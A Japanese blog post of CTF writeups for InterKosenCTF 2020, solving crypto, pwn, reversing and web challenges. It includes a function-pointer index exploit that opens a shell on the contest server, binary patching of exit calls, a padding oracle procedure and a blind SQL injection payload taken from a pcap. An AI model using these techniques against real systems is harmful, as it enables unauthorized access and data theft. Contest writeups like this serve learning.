LoginSignup
0
0

More than 3 years have passed since last update.

InterKosenCTF 2020 writeup

Last updated at Posted at 2020-09-06

InterKosenCTF2020 にソロで参加しました。36時間と長丁場でしたが、面白い問題が多くて、あっという間に終わってしまったという印象です。結果は、チームとしては21位、個人としては14位でした。

自分のための備忘録としても、解けた問題の writeup を書いていきます。Qiita で投稿をするのは初めてなので、何か改善点等ございましたら教えていただけると助かります。

目次

crypto

ciphertexts

main.py
from Crypto.Util.number import *
import gmpy2
from flag import flag

p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
n1 = p * q
n2 = p * q * r

e1 = getPrime(20)
e2 = int(gmpy2.next_prime(e1))

m = bytes_to_long(flag)
c1 = pow(m, e1, n1)
c2 = pow(m, e2, n2)

print("n1 = {}".format(n1))
print("n2 = {}".format(n2))
print("e1 = {}".format(e1))
print("e2 = {}".format(e2))
print()
print("c1 = {}".format(c1))
print("c2 = {}".format(c2))

e2 = int(gmpy2.next_prime(e1)) となっていて e1 と近い値になっているはずなので、これを利用する方針で考えた。

$m^{e_1} \equiv c_1 \, (\mathrm{mod}\, n_1)$ の両辺から $m^{e_2} \equiv c_2 \, (\mathrm{mod}\, n_2)$ を割るようなことを考えると、(途中 mod $n_1$ から mod $n_2$ への変更を経て)
$$m^{e_2 - e_1} \equiv c_2 c_1^{-1} \, (\mathrm{mod} \, n_1)$$
が示せる。今回の場合は $e_2 - e_1 = 10$ で、 $c_1, c_2, n_1$ も既知のため計算できる。

次に、再び最初の $m^{e_1} \equiv c_1 \, (\mathrm{mod}\, n_1)$ に戻ると、
$$m^{e_1} \equiv (m^{10})^{e_1//10} \times m^{e_1 \% 10} \equiv c_1 \, (\mathrm{mod}\, n_1)$$
$m^{10}$ や $c_1$ は既知なため、 $m^{e_1 \% 10}$ が計算できる。

この過程を繰り返すことで、 m が求まるはずである。そのようなプログラムを書いた。

solver.py
c1_inv = inverse(c1, n1)
m_10 = c1_inv * c2 % n1

current_t = 10
current_mt = m_10
for i in range(10):
    tmp = pow(current_mt, e1 // current_t, n1)
    tmp_inv = inverse(tmp, n1)
    current_t = e1 % current_t
    current_mt = c1 * tmp_inv % n1
    if current_t == 1:
        break

print(long_to_bytes(current_mt))

KosenCTF{HALDYN_D0M3}

bitcrypto

平方剰余の概念を使った crypto の問題。ルジャンドル記号を使って書くと、
$$\left( \frac{z}{p} \right) = -1, \left( \frac{z}{q} \right) = -1 $$
となる $z$ が暗号化の計算に使われている。暗号化時は文字列を2進数で表し、1ならば $zx^2$、 0ならば $x^2$ ($x$ は $n$ と互いに素な乱数) としたリストが暗号となる。

逆に言うと復号時は $zx^2$ で表される数字は1に、 $x^2$ で表される数字は0に戻せることが示せる (暗号なのでそれはそう)。なのでこのような $zx_i^2$, $x_j^2$ をたくさん生成して keyword のビット列を表現してあげればよい (同じ数字を使うと弾かれるので生成する必要がある)。

最初の query でビット列に1, 0がいい感じに混ざっている文字列を与えてあげると、 1, 0に対応する数値が複数種類返される (それぞれ $N_1$個、$N_0$個とする)。1 に対応するものを $zx_i^2 (1\le i \le N_1)$, 0 に対応するものを $y_j^2 (1\le j \le N_0)$ と表す。

1に対応する数値は、 $zx_i^2 \times y_j^2 = z(x_iy_j)^2$ を計算してあげることで複数生成することができる。最初のqueryで64bit分の数が得られているので、これで十分な数である。

0に対応する数値は、任意の整数の2乗を考えれば良い。

以上のようにして keyword に対応する数値列を作って送信すると、フラグが得られる。

KosenCTF{yoshiking_is_clever_and_wild_god_of_crypt}

padding oracle

いわゆる padding oracle attack は末尾に padding をしているのを利用する攻撃手法だが、この問題では先頭に padding をしている。

通常の padding oracle attack と同様の手法で、逆側 (つまり先頭側) から平文を求めていけば良い。簡単にまとめると、

  1. IV の1文字目 ($c_0$)を順に変えていき、 server 側の unpad が成功するかを確認する。成功したとき、暗号文の1文字目は \x01 になっているはずである。これを $c_1'$ と表す。
    • 最初のブロックでは、もともとの padding と一致して成功になる場合 (つまり \x03\x03\x03 の1文字目になる場合) もあるので2種類解が出てしまう。次のステップでどちらが \x01 か同定する必要がある。
  2. IVの1文字目を c'_1 ^ \x01 ^ \x02 にかえ、2文字目を順に変えていき unpad の成功を確認する。成功する文字を $c_2'$ と表す。
  3. IVの 1からi 文字目全てを c'_i ^ i ^ (i+1) にかえ、 i+1 文字目を順に変えていき unpad の成功を確認する。成功する文字を $c_i'$ とする。
  4. 以上を繰り返し行い、 $c_i' (0\le i<16)$を全て求めた後、c_i ^ c'_i ^ 0x10 したものが平文となる。
  5. 以上を16バイトに区切った各ブロックについて行う。

KosenCTF{0r4c13_5urviv35_57i11_n0w}

pwn

babysort

main.c
typedef int (*SORTFUNC)(const void*, const void*);

typedef struct {
  long elm[5];
  SORTFUNC cmp[2];
} SortExperiment;

/* call me! */
void win(void) {
  char *args[] = {"/bin/sh", NULL};
  execve(args[0], args, NULL);
}

int cmp_asc(const void *a, const void *b) { return *(long*)a - *(long*)b; }
int cmp_dsc(const void *a, const void *b) { return *(long*)b - *(long*)a; }

int main(void) {
  SortExperiment se = {.cmp = {cmp_asc, cmp_dsc}};
  int i;

  /* input numbers */
  puts("-*-*- Sort Experiment -*-*-");
  for(i = 0; i < 5; i++) {
    printf("elm[%d] = ", i);
    if (scanf("%ld", &se.elm[i]) != 1) exit(1);
  }

  /* sort */
  printf("[0] Ascending / [1] Descending: ");
  if (scanf("%d", &i) != 1) exit(1);
  qsort(se.elm, 5, sizeof(long), se.cmp[i]);

  /* output result */
  puts("Result:");
  for(i = 0; i < 5; i++) {
    printf("elm[%d] = %ld\n", i, se.elm[i]);
  }
  return 0;
}

win 関数を呼び出したら shell を奪える。 本来の使い方だと qsort 内部で se.cmp に格納されている cmp_asccmp_dsc が呼び出されるが、これを使えないかと考えた。

SortExperiment の並びを見ると、 elmcmp の前に位置しているため、 elmwin 関数のアドレスを格納し、 se.cmp の -1 などにアクセスすれば、 qsortwin 関数が呼び出されるはずである。

$ nc pwn.kosenctf.com 9001
-*-*- Sort Experiment -*-*-
elm[0] = 4196231
elm[1] = 4196231
elm[2] = 4196231
elm[3] = 4196231
elm[4] = 4196231
[0] Ascending / [1] Descending: -1
ls
chall
flag-165fa1768a33599b04fbb4f7a05d0d26.txt
redir.sh
cat flag-165fa1768a33599b04fbb4f7a05d0d26.txt
KosenCTF{f4k3_p01nt3r_l34ds_u_2_w1n}

reversing

in question

$ ./chall
Usage: ./chall <FLAG>
$ ./chall hoge
Wrong...

フラグかどうかを判定するプログラムになっているらしい。 Wrong... 等の文字列を使っている箇所周辺を radare2 で覗くとこんな感じ。

fcn.00010130
┌ 117: fcn.00010130 (int64_t arg1, int64_t arg2, int64_t arg3);
│           ; var int64_t var_ch @ rsp+0x14
│           ; arg int64_t arg1 @ rdi
│           ; arg int64_t arg2 @ rsi
│           ; arg int64_t arg3 @ rdx
│           0x00010130      4883ec18       sub rsp, 0x18
│           0x00010134      897c240c       mov dword [var_ch], edi     ; arg1
│           0x00010138      e8e0030000     call 0x1051d                ;[1]
│       │   0x0001013d      e8dc030000     call fcn.0001051e           ;[2]
│           0x00010142      31c0           xor eax, eax
│           0x00010144      e88f290000     call fcn.00012ad8           ;[3]
│           0x00010149      8b7c240c       mov edi, dword [var_ch]
│           0x0001014d      e835210000     call fcn.00012287           ;[4]
│           0x00010152      ffcf           dec edi
│           0x00010154      53             push rbx
│       ┌─< 0x00010155      7f18           jg 0x1016f
│       │   0x00010157      488b36         mov rsi, qword [rsi]
│       │   0x0001015a      488d3d9f2b00.  lea rdi, [0x00012d00]       ; "Usage: %s <FLAG>\n"
│       │   0x00010161      31c0           xor eax, eax
│       │   0x00010163      bb01000000     mov ebx, 1
│       │   0x00010168      e8d4030000     call fcn.00010541           ;[5]
│      ┌──< 0x0001016d      eb32           jmp 0x101a1
│      ││   ; CODE XREF from fcn.00010130 @ 0x10155
│      │└─> 0x0001016f      488b7e08       mov rdi, qword [rsi + 8]    ; arg2
│      │    0x00010173      488d35b63e20.  lea rsi, [0x00214030]
│      │    0x0001017a      e83b010000     call fcn.000102ba           ;[6]
│      │    0x0001017f      85c0           test eax, eax
│      │    0x00010181      89c3           mov ebx, eax
│      │┌─< 0x00010183      750e           jne 0x10193
│      ││   0x00010185      488d3d862b00.  lea rdi, [0x00012d12]       ; "Correct!"
│      ││   0x0001018c      e84e040000     call fcn.000105df           ;[7]
│     ┌───< 0x00010191      eb0e           jmp 0x101a1
│     │││   ; CODE XREF from fcn.00010130 @ 0x10183
│     ││└─> 0x00010193      488d3d812b00.  lea rdi, [0x00012d1b]       ; "Wrong..."
│     ││    0x0001019a      31db           xor ebx, ebx
│     ││    0x0001019c      e83e040000     call fcn.000105df           ;[7]
│     ││    ; CODE XREFS from fcn.00010130 @ 0x1016d, 0x10191
│     └└──> 0x000101a1      89d8           mov eax, ebx
│           0x000101a3      5b             pop rbx
└           0x000101a4      c3             ret

fcn.000102ba でフラグの判定をしていそう

fcn.000102ba
┌ 83: fcn.000102ba (int64_t arg1, int64_t arg2, int64_t arg4);
│           ; arg int64_t arg1 @ rdi
│           ; arg int64_t arg2 @ rsi
│           ; arg int64_t arg4 @ rcx
│           0x000102ba      4883c9ff       or rcx, 0xffffffffffffffff    ; arg4
│           0x000102be      31c0           xor eax, eax
│           0x000102c0      4989f8         mov r8, rdi                 ; arg1
│           0x000102c3      f2ae           repne scasb al, byte [rdi]
│           0x000102c5      48f7d1         not rcx                     ; arg4
│           0x000102c8      ffc9           dec ecx                     ; arg4
│           0x000102ca      4150           push r8
│           0x000102cc      56             push rsi                    ; arg2
│           0x000102cd      51             push rcx                    ; arg4
│           0x000102ce      50             push rax
│           0x000102cf      31c0           xor eax, eax
│       ┌─< 0x000102d1      7407           je 0x102da
│       │   0x000102d3      4881c4090300.  add rsp, 0x309
│       │   ; CODE XREF from fcn.000102ba @ 0x102d1
│       └─> 0x000102da      58             pop rax
│           0x000102db      59             pop rcx
│           0x000102dc      5e             pop rsi
│           0x000102dd      4158           pop r8
│           0x000102df      31c0           xor eax, eax
│           ; CODE XREF from fcn.000102ba @ 0x10302
│       ┌─> 0x000102e1      39c8           cmp eax, ecx
│      ┌──< 0x000102e3      7d25           jge 0x1030a
│      │╎   0x000102e5      418a1400       mov dl, byte [r8 + rax]
│      │╎   0x000102e9      4132540001     xor dl, byte [r8 + rax + 1]
│      │╎   0x000102ee      89c7           mov edi, eax
│      │╎   0x000102f0      4080f7ff       xor dil, 0xff               ; 255
│      │╎   0x000102f4      0fb6d2         movzx edx, dl
│      │╎   0x000102f7      31fa           xor edx, edi
│      │╎   0x000102f9      0fb63c06       movzx edi, byte [rsi + rax]
│      │╎   0x000102fd      48ffc0         inc rax
│      │╎   0x00010300      39fa           cmp edx, edi
│      │└─< 0x00010302      74dd           je 0x102e1
│      │    0x00010304      b801000000     mov eax, 1
│      │    0x00010309      c3             ret

あまり複雑なことはしておらず、 flag[i] ^ flag[i+1] ^ i ^ 0xff$rsi[i] と一致しているかを確認している。
ここで、 $rsi には関数呼び出し前で 0x00214030 が代入されている。ida64 で 0x00214030 の値を確認し (なぜか radare2 では見られなかった)、フラグを計算するスクリプトを書いた。

solver.py
memory = [0xDB, 0xE2, 0xEB, 0xF7, 0xD6, 0xED, 0xEB, 0xC5, 0xE8, 0xA2, 0xAB, 0xEE, 0xD8, 0xC1, 0xAE, 0xB7, 0xC4, 0xC5, 0xF1, 0xB0, 0xAB, 0xC1, 0xD0, 0xBE, 0xE7, 0xBA, 0xD6, 0xCE, 0xEB, 0x9F]  # from IDA
ans = "K"
for i in range(len(memory)-1):
    ans += chr(0xff ^ i ^ ord(ans[i]) ^ memory[i])
print(ans)

KosenCTF{d0nt_l3t_th4t_f00l_u}

harmagedon

$ ./harmagedon
which is your choice? [fRD3]f
which is your choice? [H26S]H
which is your choice? [93Py]9
which is your choice? [LRZu]L
which is your choice? [z1C}]z
which is your choice? [ylQC]y
which is your choice? [g9-5]g
which is your choice? [GiMI]G
which is your choice? [oyVd]o
which is your choice? [{Wxh]{
which is your choice? [JXAC]J
try harder.

4択で正しい文字を選んでいく問題。radare2 でみる。

┌ 309: entry0 ();
│       ╎   0x004000b0      4831db         xor rbx, rbx                ; [01] -r-x section size 309 named .text
│       ╎   0x004000b3      4d31d2         xor r10, r10
│       ╎   ; CODE XREF from entry0 @ 0x40019c
│       ╎   ;-- f:
│      ┌──> 0x004000b6      49ffc2         inc r10
│      ╎╎   0x004000b9      b87c7cb700     mov eax, 0xb77c7c
│      ╎    0x004000be      4839d8         cmp rax, rbx
│      ╎    0x004000c1      0f84da000000   je loc.congratz
│      ╎    0x004000c7      b80b000000     mov eax, 0xb                ; 11
│      ╎    0x004000cc      4c39d0         cmp rax, r10
│      ╎┌─< 0x004000cf      0f8ce9000000   jl loc.goodbye
│      ╎│   0x004000d5      b801000000     mov eax, 1
│      ╎│   0x004000da      bf01000000     mov edi, 1
│      ╎│   0x004000df      48bee8016000.  movabs rsi, loc.digstr      ; 0x6001e8 ; "which is your choice? []invalid choice\ncongratz. your choices are the flag\ntry harder.\nfRD3H26SYmug1WnJK-5m93Pyb-z-WaonCrm931bmx4qDkcJQcOUCpuHYO3zyk_s6Ds4ty6RmMnCg{8ID4oaALRZuUMohNuWgNp
│      ╎│   0x004000e9      ba17000000     mov edx, 0x17               ; 23
│      ╎│   0x004000ee      0f05           syscall
│      ╎│   0x004000f0      b801000000     mov eax, 1
│      ╎│   0x004000f5      bf01000000     mov edi, 1
│      ╎│   0x004000fa      488db33f0260.  lea rsi, [rbx + loc.buf]    ; 0x60023f ; "fRD3H26SYmug1WnJK-5m93Pyb-z-WaonCrm931bmx4qDkcJQcOUCpuHYO3zyk_s6Ds4ty6RmMnCg{8ID4oaALRZuUMohNuWgNpvpWFAOJDof-YzKwf2}{TDNem1EmPfS_2o-YGvh1aJ_aoX_hB7COKi6V8Fwvm{Th9cc1K}tMAkOIwp0}eY{yhtPlTSN
│      ╎│   0x00400101      ba04000000     mov edx, 4
│      ╎│   0x00400106      0f05           syscall
│      ╎│   0x00400108      b801000000     mov eax, 1
│      ╎│   0x0040010d      bf01000000     mov edi, 1
│      ╎│   0x00400112      48beff016000.  movabs rsi, loc.digstr2     ; 0x6001ff ; "]invalid choice\ncongratz. your choices are the flag\ntry harder.\nfRD3H26SYmug1WnJK-5m93Pyb-z-WaonCrm931bmx4qDkcJQcOUCpuHYO3zyk_s6Ds4ty6RmMnCg{8ID4oaALRZuUMohNuWgNpvpWFAOJDof-YzKwf2}{TDNe
│      ╎│   0x0040011c      ba01000000     mov edx, 1
│      ╎│   0x00400121      0f05           syscall
│      ╎│   0x00400123      b800000000     mov eax, 0
│      ╎│   0x00400128      bf00000000     mov edi, 0
│      ╎│   0x0040012d      48be9457b500.  movabs rsi, loc.inputbuf    ; 0xb55794
│      ╎│   0x00400137      ba02000000     mov edx, 2
│      ╎│   0x0040013c      0f05           syscall
│      ╎│   0x0040013e      8a04259457b5.  mov al, byte [loc.inputbuf]    ; [0xb55794:1]=0
│      ╎│   0x00400145      4831c9         xor rcx, rcx
│      ╎│   0x00400148      3a84193f0260.  cmp al, byte [rcx + rbx + loc.buf]    ; [0x60023f:1]=102 ; "fRD3H26SYmug1WnJK-5m93Pyb-z-WaonCrm931bmx4qDkcJQcOUCpuHYO3zyk_s6Ds4ty6RmMnCg{8ID4oaALRZuUMohNuWgNpvpWFAOJDof-YzKwf2}{TDNem1EmPfS_2o-YGvh1aJ_aoX_hB7COKi6V8Fwvm{Th9cc1K}tMA
│     ┌───< 0x0040014f      7441           je loc.valid
│     │╎│   0x00400151      48ffc1         inc rcx
│     │╎│   0x00400154      3a84193f0260.  cmp al, byte [rcx + rbx + loc.buf]    ; [0x60023f:1]=102 ; "fRD3H26SYmug1WnJK-5m93Pyb-z-WaonCrm931bmx4qDkcJQcOUCpuHYO3zyk_s6Ds4ty6RmMnCg{8ID4oaALRZuUMohNuWgNpvpWFAOJDof-YzKwf2}{TDNem1EmPfS_2o-YGvh1aJ_aoX_hB7COKi6V8Fwvm{Th9cc1K}tMA
│    ┌────< 0x0040015b      7435           je loc.valid
│    ││╎│   0x0040015d      48ffc1         inc rcx
│    ││╎│   0x00400160      3a84193f0260.  cmp al, byte [rcx + rbx + loc.buf]    ; [0x60023f:1]=102 ; "fRD3H26SYmug1WnJK-5m93Pyb-z-WaonCrm931bmx4qDkcJQcOUCpuHYO3zyk_s6Ds4ty6RmMnCg{8ID4oaALRZuUMohNuWgNpvpWFAOJDof-YzKwf2}{TDNem1EmPfS_2o-YGvh1aJ_aoX_hB7COKi6V8Fwvm{Th9cc1K}tMA
│   ┌─────< 0x00400167      7429           je loc.valid
│   │││╎│   0x00400169      48ffc1         inc rcx
│   │││╎│   0x0040016c      3a84193f0260.  cmp al, byte [rcx + rbx + loc.buf]    ; [0x60023f:1]=102 ; "fRD3H26SYmug1WnJK-5m93Pyb-z-WaonCrm931bmx4qDkcJQcOUCpuHYO3zyk_s6Ds4ty6RmMnCg{8ID4oaALRZuUMohNuWgNpvpWFAOJDof-YzKwf2}{TDNem1EmPfS_2o-YGvh1aJ_aoX_hB7COKi6V8Fwvm{Th9cc1K}tMA
│  ┌──────< 0x00400173      741d           je loc.valid
│  ││││╎│   0x00400175      b801000000     mov eax, 1
│  ││││╎│   0x0040017a      bf01000000     mov edi, 1
│  ││││╎│   0x0040017f      48be00026000.  movabs rsi, loc.invalidstr    ; 0x600200 ; "invalid choice\ncongratz. your choices are the flag\ntry harder.\nfRD3H26SYmug1WnJK-5m93Pyb-z-WaonCrm931bmx4qDkcJQcOUCpuHYO3zyk_s6Ds4ty6RmMnCg{8ID4oaALRZuUMohNuWgNpvpWFAOJDof-YzKwf2}{TDN
│  ││││╎│   0x00400189      ba0e000000     mov edx, 0xe                ; 14
│  ││││╎│   0x0040018e      0f05           syscall
│ ┌───────< 0x00400190      eb47           jmp loc.e
│ │││││╎│   ; CODE XREFS from entry0 @ 0x40014f, 0x40015b, 0x400167, 0x400173
│ │││││╎│   ;-- valid:
│ │└└└└───> 0x00400192      4801cb         add rbx, rcx
│ │    ╎│   0x00400195      48ffc3         inc rbx
│ │    ╎│   0x00400198      48c1e302       shl rbx, 2
│ │    └──< 0x0040019c      e915ffffff     jmp loc.f
│ │     │   ;-- congratz:
│ │     │   0x004001a1      b801000000     mov eax, 1
│ │     │   0x004001a6      bf01000000     mov edi, 1
│ │     │   0x004001ab      48be0f026000.  movabs rsi, loc.congratzstr    ; 0x60020f ; "congratz. your choices are the flag\ntry harder.\nfRD3H26SYmug1WnJK-5m93Pyb-z-WaonCrm931bmx4qDkcJQcOUCpuHYO3zyk_s6Ds4ty6RmMnCg{8ID4oaALRZuUMohNuWgNpvpWFAOJDof-YzKwf2}{TDNem1EmPfS_2o-YGv
│ │     │   0x004001b5      ba24000000     mov edx, 0x24               ; '$' ; 36
│ │     │   0x004001ba      0f05           syscall

選んだ文字が何個目かを調べて ([0, 3] の間、 idx とする)、 $rbx = 4 * ($rbx + idx + 1) と更新。これを11回行う間に $rbx == 0xb77c7c となればよい。

$rbx の更新時に4で掛けていて常に4の倍数になっているため、 idx を mod で求めることができる。

solver.py
target = 0xb77c7c
ans = []
b = target
for _ in range(11):
    assert b % 4 == 0
    b //= 4
    b -= 1
    tmp = b % 4
    ans.append(tmp)
    b -= tmp

ans = list(reversed(ans))
print(ans)  # [1, 2, 0, 2, 0, 2, 1, 3, 0, 2, 2]

この順に文字を選び、 KosenCTF{} で囲えばフラグとなった。

$ ./harmagedon
which is your choice? [fRD3]R
which is your choice? [Ymug]u
which is your choice? [kcJQ]k
which is your choice? [yhtP]t
which is your choice? [uDPJ]u
which is your choice? [05n7]n
which is your choice? [V0Np]0
which is your choice? [8GFr]r
which is your choice? [Dar3]D
which is your choice? [UDi8]i
which is your choice? [KS3c]3
congratz. your choices are the flag

KosenCTF{Ruktun0rDi3}
(4**11 通りなので、総当りでも行けたかもしれない?)

trilemma

はじめにいっておきます、ほとんど reversing していません…

main.c
/**
   $ gcc main.c -L./ -lemperor -lcitizen -lslave
   $ LD_LIBRARY_PATH=./ ./a.out
 */
#include <stdio.h>

char *emperor_flag(void);
char *citizen_flag(void);
char *slave_flag(void);

int main(void) {
  printf("The flag is %s%s%s\n", emperor_flag(), citizen_flag(), slave_flag());
  return 0;
}

main.c に書かれている通り実行ファイルを生成して実行すると、 [libslave.so] Citizen despises slave. と表示されて実行が止まってしまう。
libslave.so を radare2 で↑の文字列の呼び出し元周辺を覗くと、

┌ 177: sym.slave ();
│           ; var int64_t var_10h @ rbp-0x10
│           ; var int64_t var_ch @ rbp-0xc
│           ; var int64_t canary @ rbp-0x8
│           0x00000bdf      55             push rbp
│           0x00000be0      4889e5         mov rbp, rsp
│           0x00000be3      4883ec10       sub rsp, 0x10
│           0x00000be7      64488b042528.  mov rax, qword fs:[0x28]
│           0x00000bf0      488945f8       mov qword [canary], rax
│           0x00000bf4      31c0           xor eax, eax
│           0x00000bf6      48c745f00000.  mov qword [var_10h], 0
│           0x00000bfe      488d45f0       lea rax, [var_10h]
│           0x00000c02      4889c6         mov rsi, rax
│           0x00000c05      488d3d60ffff.  lea rdi, [sym.lookup]       ; 0xb6c
│           0x00000c0c      e86ffbffff     call sym.imp.dl_iterate_phdr ;[1]
│           0x00000c11      8b45f0         mov eax, dword [var_10h]
│           0x00000c14      85c0           test eax, eax
│       ┌─< 0x00000c16      742d           je 0xc45
│       │   0x00000c18      488b05d91320.  mov rax, qword [reloc.stderr]    ; [0x201ff8:8]=0
│       │   0x00000c1f      488b00         mov rax, qword [rax]
│       │   0x00000c22      4889c1         mov rcx, rax                ; FILE *stream
│       │   0x00000c25      ba26000000     mov edx, 0x26               ; '&' ; size_t nitems
│       │   0x00000c2a      be01000000     mov esi, 1                  ; size_t size
│       │   0x00000c2f      488d3daa0000.  lea rdi, str.libslave.so__Citizen_despises_slave.    ; 0xce0 ; "[libslave.so] Citizen despises slave.\n" ; const void *ptr
│       │   0x00000c36      e895fbffff     call sym.imp.fwrite         ;[2] ; size_t fwrite(const void *ptr, size_t size, size_t nitems, FILE *stream)
│       │   0x00000c3b      bf01000000     mov edi, 1                  ; int status
│       │   0x00000c40      e87bfbffff     call sym.imp.exit           ;[3] ; void exit(int status)
│       │   ; CODE XREF from sym.slave @ 0xc16

sym.lookup も加えてみてみると、 libcitizen.solibemperor.so が一緒に読み込まれていると exit(1) してしまうらしい。

なので、reversing するしかないかと思ったところ、「この exit 処理を消してしまえばいいのでは?」と気付き、 hexedit で e87bfbffff (exit) の部分を 9090909090 (NOP * 5) に書き換えてしまった。 libcitizen.solibemperor.so にも同様の処理が書いてあったので、そちらも書き換えた。

そして実行しなおすと…

$ ./main
[libslave.so] Citizen despises slave.
[libemperor.so] Slave makes revolution.
[libcitizen.so] Emperor manipulates citizen.
[libcitizen.so] Resource conflicts.

今度は Resource conflicts というエラーで落ちた。これはメモリを確保するときに他の .so ファイルと同じメモリが使われると生じてしまうっぽい。
なので gdb で実行し、main 関数にブレークポイントをはり、そこから $rip を書き換えることで各種 *_flag を実行する直前に飛び、それぞれの *_flag の実行結果を見た。

KosenCTF{emperor_wins_with_a_probability_of_four-fifths}

stratum

はじめにいっておきます、ほとんど reversing していません… (本日2度目)

./chall
KosenCTF{
cmfhnfgjcxaaaaaaAaQAQ111a$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[cu~SDVk

試しに KosenCTF{ と入力すると、 flag.enc と前方が一致していることに気がついた。ただ、前から1文字ずつ決めていくのは解が複数現れてしまって無理そう。

2-3文字ずつで解候補を見ていくと解候補は少なく、またこの CTF ではフラグが文章になっていることが多かったので、文章になるように解を選んでいった。不真面目な解き方ですみません。

KosenCTF{h4v3_fun_w17h_7h3_ugly_bu7_u53ful_SIMD_1n57ruc710n5}

web

matsushima2

ブラックジャックでボロ勝ちしてお金をたくさん手に入れたらフラグが手に入る問題。JWT で所持金が管理されている。

最初は JWT の書き換えで所持金を増やす方向性で考えていたが、 HS256 が明記されており署名の改ざんは難しそうで一旦諦めてしまった。けれど時間をおいて息抜きにブラックジャックで遊んでいたところ、「これそもそも cookie で情報が保存されているからリセマラできるじゃん!」ということに気づいた。あとはリセマラを何度もやりました (自動化はしなかった)。

KosenCTF{r3m3mb3r_m475u5him4}

limited

pcap の解析問題。 wireshark で軽く覗くと、

GET /search.php?keyword=&search_max=%28SELECT+unicode%28substr%28secret%2C+50%2C+1%29%29+FROM+account+WHERE+name%3D%22admin%22%29+%25+17 HTTP/1.1

というような request がたくさんあることに気づいた。

典型的な blind SQLi で、この request に対して response では表示する行数が変化している (search_max に依存)。
なので dpkt を使って blind SQLi の query や response に含まれる行数を抜き出すプログラムを書き、1文字ずつフラグを決定していった。

KosenCTF{u_c4n_us3_CRT_f0r_LIMIT_1nj3ct10n_p01nt}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0